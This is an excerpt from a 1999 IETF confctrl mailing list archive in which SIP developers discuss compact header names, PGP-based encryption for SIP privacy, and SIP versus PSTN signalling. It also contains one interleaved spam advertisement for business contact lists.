If you have a continuous stream, it might be better to use a lower-layer
compression mechanism (such as those in PPP). They will automatically
reduce CSeq to a few bits, as the string will make it quickly into the
dictionary. Thus, if you compare the actual on-the-wire bit count of an
INVITE with Cseq and an INVITE with q, I wouldn't be surprised if there
would be no difference in size at all.

To test the hypothesis, I created some SIP-only INVITE request of the
form


INVITE Y&,=n#)&); SIP/2.0
v:SIP/2.0/UDP bcde
f:petrack
t:Y&,=n#)&);
q:1 INVITE
c:application/sdp
l:100

where the To and request-URI are randomly generated 10-character strings
and the From and Via headers are constant. I'm assuming here that the
proxy adds the local domain, for example. When "sending" 13 of these
requests, each with a different random request-URI, To and Length, we
get the following results for the total of 13 requests and the average
request size:

using Cseq: uncompressed=1345 bytes (103 bytes/request); gzip'ed: 353
bytes (27.15 B/r)
using q:    uncompressed=1306 bytes (100 bytes/request); gzip'ed: 352
bytes (27.07 B/r)

Thus, for this example, we get a grand effective saving of 0.08 bytes
per request, or a little more than 0.6 bits/request. I'd imagine that
this saving gets even smaller as the number of INVITE requests increase.

> 
> In the next version I would be happy to see *every* header field have a
> one-letter compact form. If you make the compact form case sensitive this
> is easily done, otherwise perhaps you'll choose a character other than
> ":" (colon) for the second byte. (e.g. make the compact form of
> "Authorization" be "a:" and the short form of "Accept:" be "a/"). At
> the very least let's have a short form for the more common optional
> headers. (I need one for "Warning:", for error processing).
> 
> I know that many people have OC-48s to the desktop, but I don't have one
> to my wireless PDA (no, that's not my application ;-)). And while it is
> true that some of the fields are of necessity very long (like long sip
> addresses), I can deal with that by rewriting certain names in proxies.
> Of course I can use the same proxies to rewrite "CSeq:" as "q:", but I
> think there is a big win if we can all agree on compact encodings that we
> can all use.
> 
> Could we all agree on a letter NOW at least for the mandatory CSeq: field?
> If no one cares I vote for "q:", just because it's in CSeq and is not
> too common. If one of the SIP authors would publish a complete list of
> compact names, that would be great. (I vote for "w:" for Warning:)
> 
> Thanks,
> 
> Scott

-- 
Henning Schulzrinne   http://www.cs.columbia.edu/~hgs

From confctrl-owner  Mon May 31 16:05:09 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id QAA05023
	for confctrl-outgoing; Mon, 31 May 1999 16:05:09 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id QAA05017
	for <confctrl@zephyr.isi.edu>; Mon, 31 May 1999 16:05:07 -0700 (PDT)
Received: from 168.191.62.205 (sdn-ar-002njnbruP141.dialsprint.net [168.191.62.205])
	by venera.isi.edu (8.8.7/8.8.6) with SMTP id QAA14518;
	Mon, 31 May 1999 16:05:02 -0700 (PDT)
Date: Mon, 31 May 1999 16:05:02 -0700 (PDT)
Message-Id: <199905312305.QAA14518@venera.isi.edu>
From: 756usa@msgbox.com
Subject:  Helen Astor is trying to reach the president
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk






   president of the company please.



Referred by J.B.S./8/3/98 opt in
>From Helen Astor, Somerset, New Jersey USA



DONT JUST EMAIL BACK ! ! !
We are extremely targeted and will NOT send back just general info by e-mail.
Targeted works beautifully.........untargeted does not.   We need
additional details over the phone to get you the properly  targeted further
info.

If you are interested in:


............. English Speaking.........................



1.  Bilingual sales reps.....currently seeking to represent American/and/or international
companies.      .........  We have lists of both.


2. Bilingual distributors.....currently importing from  American/and/or international
companies..............  we have lists of both


3. Bilingual end users .....currently importing from American/and/or international companies.
.........   We have lists of both.

4. Bilingual agents...currently arranging private labeling, subcontracting,
contracting
work, and negotiating licensing arrangements for American/and/or international  companies.
.........  We have lists of both.

5. Bilingual suppliers of raw materials and components....currently selling
internationally.

6. Bilingual buyers of close outs, surplus overruns, seconds.....currently
buying from American/and/or international companies.
We have lists of both.
........................ 

7. Bilingual joint marketing partners.....currently seeking  American/and/or International/
partners........We have lists of both.

8. Bilingual foreigners seeking to buy all or part of your business...or act
as silent partner......................... 

9. Bilingual foreigners who will supply finance for your business.
.................. 

10. Bilingual foreigners with new products for your business to sell.

Our lists come two ways: Those doing business exclusively with America....
and those doing business worldwide.


We have lists with their phone numbers, fax numbers, addresses,
and contact names.   All are English speaking and have internet
accounts.   First time exporters fine.   Imports fine.
Each list contains 360 to 410 names and costs $72.00 U.S.

For the areas of:
Mexico, Central, and South America,Japan/Asia, Eastern/Western
Europe,China,Australia,Asia,the Middle East.



Best Regards, 

 Helen Astor  

PHONE CALLS ONLY  please.........we are extremely targeted and
need additional info from you.  We will not reply back with General
info over the internet.

732-247-3173


FROM:

Scott Allen Export Sales
36 Heather Drive
Somerset, New Jersey 08873 USA
732-247-3173

Bill Higgins
Janet Brandt
Fritz Young
Helen Astor
Jose Rivera
Larry Cohen
Susan Miller



From confctrl-owner  Mon May 31 16:11:26 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id QAA05219
	for confctrl-outgoing; Mon, 31 May 1999 16:11:26 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id QAA05214
	for <confctrl@zephyr.isi.edu>; Mon, 31 May 1999 16:11:25 -0700 (PDT)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id QAA00633
	for <confctrl@isi.edu>; Mon, 31 May 1999 16:11:24 -0700 (PDT)
Received: from opus.cs.columbia.edu (opus.cs.columbia.edu [128.59.20.100])
	by cs.columbia.edu (8.9.1/8.9.1) with ESMTP id TAA22205;
	Mon, 31 May 1999 19:11:23 -0400 (EDT)
Received: from cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141])
	by opus.cs.columbia.edu (8.9.1/8.9.1) with ESMTP id TAA16737;
	Mon, 31 May 1999 19:11:22 -0400 (EDT)
Message-ID: <3753171A.5A63B7A4@cs.columbia.edu>
Date: Mon, 31 May 1999 19:11:22 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.5 [en] (X11; I; SunOS 5.6 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>,
        Hans Viens <vieh01@gel.usherb.ca>
CC: confctrl@ISI.EDU
Subject: Re: [Fwd: SIP privacy]
References: <374E3752.A6A1ADD2@dnrc.bell-labs.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Jonathan Rosenberg wrote:
> 

> First, you encrypt with the recipients public key, not the callers.

Correct. Encrypting with the caller's public key would be pointless -
nobody else could do anything with it.

However, the operation is a bit more involved than described in the
bullets below. See RFC 2440 for the details and any cryptography book
(e.g., Kaufman/Perlman/Speciner) for a high-level description. The SIP
spec intentionally leaves the details unspecified, as it is long enough
as is.

> Second, there is no need for a signature, you could also do that. PGP
> allows for either MD5 or SHA-1, we don't mandate a particular one (its
> similar to not having a baseline codec),though I expect most will have
> at least MD5.

As I mentioned on my response on the pint list, the OpenPGP
specification defines what is required (RFC 2440) :

Implementations MUST implement Triple-DES. Implementations SHOULD
   implement IDEA and CAST5.Implementations MAY implement any other
   algorithm.

Implementations MUST implement SHA-1. Implementations SHOULD
   implement MD5.

Implementations MUST implement DSA for signatures, and Elgamal for
   encryption. Implementations SHOULD implement RSA keys.
   Implementations MAY implement any other algorithm.

However, if you write your own PGP implementation, you are probably
wasting your time (and risking making security mistakes). The whole
point of using PGP is to be able to use existing implementations.


> Subject: SIP privacy
> Date: Wed, 26 May 1999 15:50:49 -0400
> From: Hans Viens <vieh01@gel.usherb.ca>
> To: confctrl@isi.edu
> 
> Hi!
> 
> I'd like to know if my understanding of SIP encryption is good... if not...
> please tell me what's wrong.
> 
> If I want to send an encrypted request:
> 
> - I encrypt the part of the request with the sender's private key;
> - Create a signature with a hash algorithm (MD5 or SHA-1);
> - Prepended the signature to the encrypted message;
> - Then send it
> 
> Is it the way it should be ???
> 
> Hans...

-- 
Henning Schulzrinne   http://www.cs.columbia.edu/~hgs

From confctrl-owner  Tue Jun  1 02:53:51 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id CAA28546
	for confctrl-outgoing; Tue, 1 Jun 1999 02:53:51 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id CAA28541
	for <confctrl@zephyr.isi.edu>; Tue, 1 Jun 1999 02:53:50 -0700 (PDT)
Received: from penguin.wise.edt.ericsson.se (penguin-ext.wise.edt.ericsson.se [194.237.142.5])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id CAA18739
	for <confctrl@ISI.EDU>; Tue, 1 Jun 1999 02:53:46 -0700 (PDT)
Received: from lmf.lmf.ericsson.se (umail.lmf.ericsson.se [131.160.11.2])
	by penguin.wise.edt.ericsson.se (8.9.0/8.9.0/WIREfire-1.2) with ESMTP id LAA27185;
	Tue, 1 Jun 1999 11:52:40 +0200 (MET DST)
Received: from ericsson.com by lmf.lmf.ericsson.se (8.8.8+Sun/SMI-SVR4)
	id MAA10846; Tue, 1 Jun 1999 12:52:09 +0300 (EET DST)
Message-ID: <3753AC96.5914D355@ericsson.com>
Date: Tue, 01 Jun 1999 12:49:10 +0300
From: Gonzalo Camarillo <Gonzalo.Camarillo@ericsson.com>
Organization: Oy L M Ericsson Ab
X-Mailer: Mozilla 4.05 [en] (WinNT; I)
MIME-Version: 1.0
To: mjh@aciri.org
CC: sanjay@packetstream.com, confctrl@ISI.EDU,
        Ian Rytina <ian.rytina@ericsson.com>,
        Ricky Project <Ricky@lmf.ericsson.se>,
        Henry Sinnreich <henry.sinnreich@MCI.COM>,
        Dean Willis <Dean.Willis@MCI.COM>
Subject: Re: why one level of signalling
References: <51235.927913294@aardvark.aciri.org>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi,

mjh@aciri.org wrote:
> 
> >I am interested in know why there is one-level of signalling between the
> >SIP clients .In the PSTN there is two level of signalling. One is
> >between the end-terminal to the local switch and othere one is between
> >the switch-to -switch.
> 
> Actually a better question is why do you need more than one level of
> signalling in the PSTN?  The primary answer is that phones are dumb
> and switches are smart.  With IP end-systems, this smart/dumb
> distinction is reversed - end-systems are smart and routers are
> comparatively dumb.
> 
> Thus to make a regular IP-based call, you don't need any smarts from
> the network.  One end system directly calls another end-system, and
> all the routers do is move packet around.  There's only fate-sharing
> between the two end-systems - any of the intervening routers can lose
> state, and (pending route convergence) the call stays up.
> 
> In practice though, sometimes you want intervening proxies because you
> want to do access control, resource reservation, user location, and
> other such services.  However you don't want to design an architecture
> that mandates a distinction between calling a proxy and calling an
> end-system.  An example is where my IP telephone can redirect calls to
> my cellphone when I'm not home, and perform access control on these
> redirected calls.  In this case it's a proxy, but if I was home it'd
> be a telephone again.

Let's take this example:
A is PSTN phone, B is SIP Phone, C is PSTN phone.

A calls B. B's phone must ring and there must be some time supervision
somewhere (typically 30 seconds). After timeout, the call must be set up
from B to C. When C answers, charging must take place - A should be
charged for the A-B leg, and B charged for the B-C leg.

Should your SIP phone take care of this?
Shouldn't the SIP server (a network entity) take care of all these
things? If this was the case, we would have a situation similar to
"local switches" today, where to provide certain services, you require
intelligence in the network.

Best regards,

Gonzalo
-- 
Gonzalo Camarillo         Phone :  +358  9 299 33 71
Oy L M Ericsson Ab        Mobile:  +358 40 702 35 35
Telecom R&D               Fax   :  +358  9 299 31 18
FIN-02420 Jorvas          Email :  Gonzalo.Camarillo@ericsson.com
Finland

From confctrl-owner  Tue Jun  1 04:42:08 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id EAA03116
	for confctrl-outgoing; Tue, 1 Jun 1999 04:42:08 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id EAA03111
	for <confctrl@zephyr.isi.edu>; Tue, 1 Jun 1999 04:42:06 -0700 (PDT)
Received: from bells.cs.ucl.ac.uk (bells.cs.ucl.ac.uk [128.16.5.31])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id EAA21820
	for <confctrl@ISI.EDU>; Tue, 1 Jun 1999 04:42:04 -0700 (PDT)
Received: from eucharisto.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.16136-0@bells.cs.ucl.ac.uk>; Tue, 1 Jun 1999 12:41:52 +0100
To: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
cc: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>,
        Hans Viens <vieh01@gel.usherb.ca>, confctrl@ISI.EDU
Subject: Re: [Fwd: SIP privacy]
In-reply-to: Your message of "Mon, 31 May 1999 19:11:22 EDT." <3753171A.5A63B7A4@cs.columbia.edu>
Date: Tue, 01 Jun 1999 12:41:51 +0100
Message-ID: <1273.928237311@cs.ucl.ac.uk>
From: Colin Perkins <C.Perkins@cs.ucl.ac.uk>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--> Henning Schulzrinne writes:
>Jonathan Rosenberg wrote:
>> First, you encrypt with the recipients public key, not the callers.
>
>Correct. Encrypting with the caller's public key would be pointless -
>nobody else could do anything with it.
>
>However, the operation is a bit more involved than described in the
>bullets below. See RFC 2440 for the details and any cryptography book
>(e.g., Kaufman/Perlman/Speciner) for a high-level description. The SIP
>spec intentionally leaves the details unspecified, as it is long enough
>as is.

Although the SIP spec references RFC1991, rather than 2440. Is this a bug
in the SIP spec?

Colin

From confctrl-owner  Tue Jun  1 05:12:37 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id FAA04270
	for confctrl-outgoing; Tue, 1 Jun 1999 05:12:37 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id FAA04265
	for <confctrl@zephyr.isi.edu>; Tue, 1 Jun 1999 05:12:34 -0700 (PDT)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id FAA22592
	for <confctrl@ISI.EDU>; Tue, 1 Jun 1999 05:12:33 -0700 (PDT)
Received: from opus.cs.columbia.edu (opus.cs.columbia.edu [128.59.20.100])
	by cs.columbia.edu (8.9.1/8.9.1) with ESMTP id IAA21023;
	Tue, 1 Jun 1999 08:12:33 -0400 (EDT)
Received: from cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141])
	by opus.cs.columbia.edu (8.9.1/8.9.1) with ESMTP id IAA22339;
	Tue, 1 Jun 1999 08:12:32 -0400 (EDT)
Message-ID: <3753CE2F.5F3A97F9@cs.columbia.edu>
Date: Tue, 01 Jun 1999 08:12:31 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.5 [en] (X11; I; SunOS 5.6 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: Colin Perkins <C.Perkins@cs.ucl.ac.uk>
CC: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>,
        Hans Viens <vieh01@gel.usherb.ca>, confctrl@ISI.EDU
Subject: Re: [Fwd: SIP privacy]
References: <1273.928237311@cs.ucl.ac.uk>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Colin Perkins wrote:
> 
> --> Henning Schulzrinne writes:
> >Jonathan Rosenberg wrote:
> >> First, you encrypt with the recipients public key, not the callers.
> >
> >Correct. Encrypting with the caller's public key would be pointless -
> >nobody else could do anything with it.
> >
> >However, the operation is a bit more involved than described in the
> >bullets below. See RFC 2440 for the details and any cryptography book
> >(e.g., Kaufman/Perlman/Speciner) for a high-level description. The SIP
> >spec intentionally leaves the details unspecified, as it is long enough
> >as is.
> 
> Although the SIP spec references RFC1991, rather than 2440. Is this a bug
> in the SIP spec?

We probably missed the update to the OpenPGP spec that happened in
November 1998. Since 1991 is informational, 2440 standards-track, I'll
replace the reference. As far as I know, beyond the choice of default
algorithms, the specs build on each other. 1991 describes PGP 2.6, 2440
PGP 6.0 (appr. equal to 5.0). Both still seem to be in use.

> 
> Colin

-- 
Henning Schulzrinne   http://www.cs.columbia.edu/~hgs

From confctrl-owner  Tue Jun  1 05:48:33 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id FAA05852
	for confctrl-outgoing; Tue, 1 Jun 1999 05:48:33 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id FAA05847
	for <confctrl@zephyr.isi.edu>; Tue, 1 Jun 1999 05:48:32 -0700 (PDT)
Received: from bells.cs.ucl.ac.uk (bells.cs.ucl.ac.uk [128.16.5.31])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id FAA23638
	for <confctrl@ISI.EDU>; Tue, 1 Jun 1999 05:48:30 -0700 (PDT)
Received: from eucharisto.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.19846-0@bells.cs.ucl.ac.uk>; Tue, 1 Jun 1999 13:48:21 +0100
To: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
cc: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>,
        Hans Viens <vieh01@gel.usherb.ca>, confctrl@ISI.EDU
Subject: Re: [Fwd: SIP privacy]
In-reply-to: Your message of "Tue, 01 Jun 1999 08:12:31 EDT." <3753CE2F.5F3A97F9@cs.columbia.edu>
Date: Tue, 01 Jun 1999 13:48:19 +0100
Message-ID: <1626.928241299@cs.ucl.ac.uk>
From: Colin Perkins <C.Perkins@cs.ucl.ac.uk>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--> Henning Schulzrinne writes:
>Colin Perkins wrote:
>> 
>> --> Henning Schulzrinne writes:
>> >Jonathan Rosenberg wrote:
>> >> First, you encrypt with the recipients public key, not the callers.
>> >
>> >Correct. Encrypting with the caller's public key would be pointless -
>> >nobody else could do anything with it.
>> >
>> >However, the operation is a bit more involved than described in the
>> >bullets below. See RFC 2440 for the details and any cryptography book
>> >(e.g., Kaufman/Perlman/Speciner) for a high-level description. The SIP
>> >spec intentionally leaves the details unspecified, as it is long enough
>> >as is.
>> 
>> Although the SIP spec references RFC1991, rather than 2440. Is this a bug
>> in the SIP spec?
>
>We probably missed the update to the OpenPGP spec that happened in
>November 1998. Since 1991 is informational, 2440 standards-track, I'll
>replace the reference. As far as I know, beyond the choice of default
>algorithms, the specs build on each other. 1991 describes PGP 2.6, 2440
>PGP 6.0 (appr. equal to 5.0). Both still seem to be in use.

Okay, in that case I'll also change the SAP spec to use 2440.

Colin

From confctrl-owner  Tue Jun  1 07:26:04 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA10021
	for confctrl-outgoing; Tue, 1 Jun 1999 07:26:04 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA10016
	for <confctrl@zephyr.isi.edu>; Tue, 1 Jun 1999 07:26:03 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id HAA27619
	for <confctrl@isi.edu>; Tue, 1 Jun 1999 07:26:02 -0700 (PDT)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by dirty; Tue Jun  1 10:25:41 EDT 1999
Received: from dnrc.bell-labs.com (arrakis [135.180.130.41])
	by nova.dnrc.bell-labs.com (8.9.3/8.9.3) with ESMTP id KAA06325;
	Tue, 1 Jun 1999 10:25:35 -0400 (EDT)
Message-ID: <3753EA1C.B2E26D66@dnrc.bell-labs.com>
Date: Tue, 01 Jun 1999 10:11:40 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
X-Mailer: Mozilla 4.04 [en] (WinNT; I)
MIME-Version: 1.0
To: Gonzalo Camarillo <Gonzalo.Camarillo@ericsson.com>
CC: mjh@aciri.org, sanjay@packetstream.com, confctrl@ISI.EDU,
        Ian Rytina <ian.rytina@ericsson.com>,
        Ricky Project <Ricky@lmf.ericsson.se>,
        Henry Sinnreich <henry.sinnreich@MCI.COM>,
        Dean Willis <Dean.Willis@MCI.COM>
Subject: Re: why one level of signalling
References: <51235.927913294@aardvark.aciri.org> <3753AC96.5914D355@ericsson.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Gonzalo Camarillo wrote:
> 
> 
> Let's take this example:
> A is PSTN phone, B is SIP Phone, C is PSTN phone.
> 
> A calls B. B's phone must ring and there must be some time supervision
> somewhere (typically 30 seconds). After timeout, the call must be set up
> from B to C. When C answers, charging must take place - A should be
> charged for the A-B leg, and B charged for the B-C leg.

I'm not sure what you are trying to accomplish here. Are you talking
about a call forward no answer service? That is, B forwards the call to
C when B is not there? If so, there wouldn't be a leg from B to C,
rather, B would have A contact C directly.

-Jonathan R.

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX:   (732) 834-5379                       Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Tue Jun  1 09:14:22 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA15297
	for confctrl-outgoing; Tue, 1 Jun 1999 09:14:22 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA15292
	for <confctrl@zephyr.isi.edu>; Tue, 1 Jun 1999 09:14:20 -0700 (PDT)
Received: from custmail.concentric.net (custmail.concentric.net [205.158.16.13])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id JAA06115
	for <confctrl@ISI.EDU>; Tue, 1 Jun 1999 09:14:20 -0700 (PDT)
Received: from packetstream.com ([216.112.2.42])
	by custmail.concentric.net (8.9.1/8.9.1) with ESMTP id JAA26319
	for <confctrl@ISI.EDU>; Tue, 1 Jun 1999 09:14:19 -0700 (PDT)
Message-ID: <37540A45.8B00E52F@packetstream.com>
Date: Tue, 01 Jun 1999 09:28:53 -0700
From: Sanjay Nayak <sanjay@packetstream.com>
Reply-To: sanjay@packetstream.com
X-Mailer: Mozilla 4.5 [en] (Win95; U)
X-Accept-Language: en
MIME-Version: 1.0
To: confctrl@ISI.EDU
Subject: proxy server
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

i have couple of quick clarifications. could somebody help me out

1.  will the SIP proxy servers go as part of routers, OR they are going
as saparate components.

2. how the billing works out in the SIP environment.


-sanjay


From confctrl-owner  Tue Jun  1 11:23:48 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA22055
	for confctrl-outgoing; Tue, 1 Jun 1999 11:23:48 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA22050
	for <confctrl@zephyr.isi.edu>; Tue, 1 Jun 1999 11:23:47 -0700 (PDT)
Received: from callisto.si.usherb.ca (callisto.si.USherb.ca [132.210.10.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id LAA21297
	for <confctrl@isi.edu>; Tue, 1 Jun 1999 11:23:46 -0700 (PDT)
Received: from [205.237.248.37] by callisto.si.usherb.ca (AIX 4.1/UCB 5.64/4.03)
          id AA76200; Tue, 1 Jun 1999 14:23:32 -0400
Message-Id: <4.2.0.56.19990601141708.00a31510@hermes.usherb.ca>
X-Sender: 94298898@hermes.usherb.ca
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.0.56 (Beta)
Date: Tue, 01 Jun 1999 14:23:30 -0400
To: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
From: Hans Viens <vieh01@gel.usherb.ca>
Subject: Re: [Fwd: SIP privacy]
Cc: confctrl@ISI.EDU, jdrosen@dnrc.bell-labs.com
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi!

Is that mean that the public and private key MUST be generate by ElGamal 
algorithm ???

Hans....
----------------------------------------------------------


Jonathan Rosenberg wrote:
 >

 > First, you encrypt with the recipients public key, not the callers.

Correct. Encrypting with the caller's public key would be pointless -
nobody else could do anything with it.

However, the operation is a bit more involved than described in the
bullets below. See RFC 2440 for the details and any cryptography book
(e.g., Kaufman/Perlman/Speciner) for a high-level description. The SIP
spec intentionally leaves the details unspecified, as it is long enough
as is.

 > Second, there is no need for a signature, you could also do that. PGP
 > allows for either MD5 or SHA-1, we don't mandate a particular one (its
 > similar to not having a baseline codec),though I expect most will have
 > at least MD5.

As I mentioned on my response on the pint list, the OpenPGP
specification defines what is required (RFC 2440) :

Implementations MUST implement Triple-DES. Implementations SHOULD
    implement IDEA and CAST5.Implementations MAY implement any other
    algorithm.

Implementations MUST implement SHA-1. Implementations SHOULD
    implement MD5.

Implementations MUST implement DSA for signatures, and Elgamal for
    encryption. Implementations SHOULD implement RSA keys.
    Implementations MAY implement any other algorithm.

However, if you write your own PGP implementation, you are probably
wasting your time (and risking making security mistakes). The whole
point of using PGP is to be able to use existing implementations.


 > Subject: SIP privacy
 > Date: Wed, 26 May 1999 15:50:49 -0400
 > From: Hans Viens <vieh01@gel.usherb.ca>
 > To: confctrl@isi.edu
 >
 > Hi!
 >
 > I'd like to know if my understanding of SIP encryption is good... if not...
 > please tell me what's wrong.
 >
 > If I want to send an encrypted request:
 >
 > - I encrypt the part of the request with the sender's private key;
 > - Create a signature with a hash algorithm (MD5 or SHA-1);
 > - Prepended the signature to the encrypted message;
 > - Then send it
 >
 > Is it the way it should be ???
 >
 > Hans...

--
Henning Schulzrinne   http://www.cs.columbia.edu/~hgs



From confctrl-owner  Tue Jun  1 14:25:27 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id OAA00712
	for confctrl-outgoing; Tue, 1 Jun 1999 14:25:27 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id OAA00707
	for <confctrl@zephyr.isi.edu>; Tue, 1 Jun 1999 14:25:24 -0700 (PDT)
Received: from petrack.metatel.com (root@ts001d25.cht-ma.concentric.net [206.173.19.37])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id OAA14616
	for <confctrl@isi.edu>; Tue, 1 Jun 1999 14:25:21 -0700 (PDT)
Received: from localhost (scott.petrack@localhost)
	by petrack.metatel.com (8.8.7/8.8.7) with ESMTP id PAA02548;
	Tue, 1 Jun 1999 15:05:13 -0400
X-Authentication-Warning: petrack.metatel.com: scott.petrack owned process doing -bs
Date: Tue, 1 Jun 1999 15:05:12 -0400 (EDT)
From: Scott Petrack <scott.petrack@metatel.com>
To: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
cc: mjh@aciri.org, schooler@cs.caltech.edu, jdrosen@bell-labs.com,
        confctrl@ISI.EDU
Subject: Re: Compact name for CSeq: (and for everything else)
In-Reply-To: <37515576.E0D229AC@cs.columbia.edu>
Message-ID: <Pine.LNX.4.10.9906011459001.2389-100000@petrack.metatel.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

OK, I'll come clean.

1. I want all SIP headers to be fixed length. All the compact forms have
two bytes (a letter and a colon), and I would like to be able to 
process a lot of headers very quickly. 

2. As far as backward compatibility goes, in any 
case the standard says I have to accept the long and the short form from
an "older system". 
If I start talking to a system that doesn't understand the new compact
form, I will get a "bad request" error, and I hope the correct Warning:
line with decent warn text, and I promise I will send the long form. 
But for the few million messages I intend to process, the gain of 
having fixed length headers on processing is very useful.



Scott


On Sun, 30 May 1999, Henning Schulzrinne wrote:

> Scott Petrack wrote:
> > 
> > For a particular application I am doing I have a severe bandwidth
> > constraint, and since CSeq: is a mandatory field, I would like to ask that
> > you bless a compact name for it. I'll vote for "q".
> 
> The one problem I have with creating abbreviations for headers such as
> CSeq is that it immediately breaks all implementations. This wouldn't be
> so bad for informational headers (Organization, Subject, Priority, etc.)
> [and we might indeed want to do this], but is more serious for headers
> like CSeq, which are necessary for a proxy or UAS to process the
> request. Given that the savings is 3 bytes, I have to admit to a certain
> reluctance to breaking all existing implementations. (I know that we
> have no "legal" obligation to be backward compatible as we move to Draft
> Standard, but it doesn't exactly help the reputation of the protocol to
> make what may seem like gratuitous, but crucial, changes to basic
> aspects of it.)
> 
> Assuming you are carrying a real media stream, I have to assume that
> your access bandwidth is at least 2.4 kb/s. At that rate, a 200-byte SIP
> request would take about one second to transmit. Not great, but you can
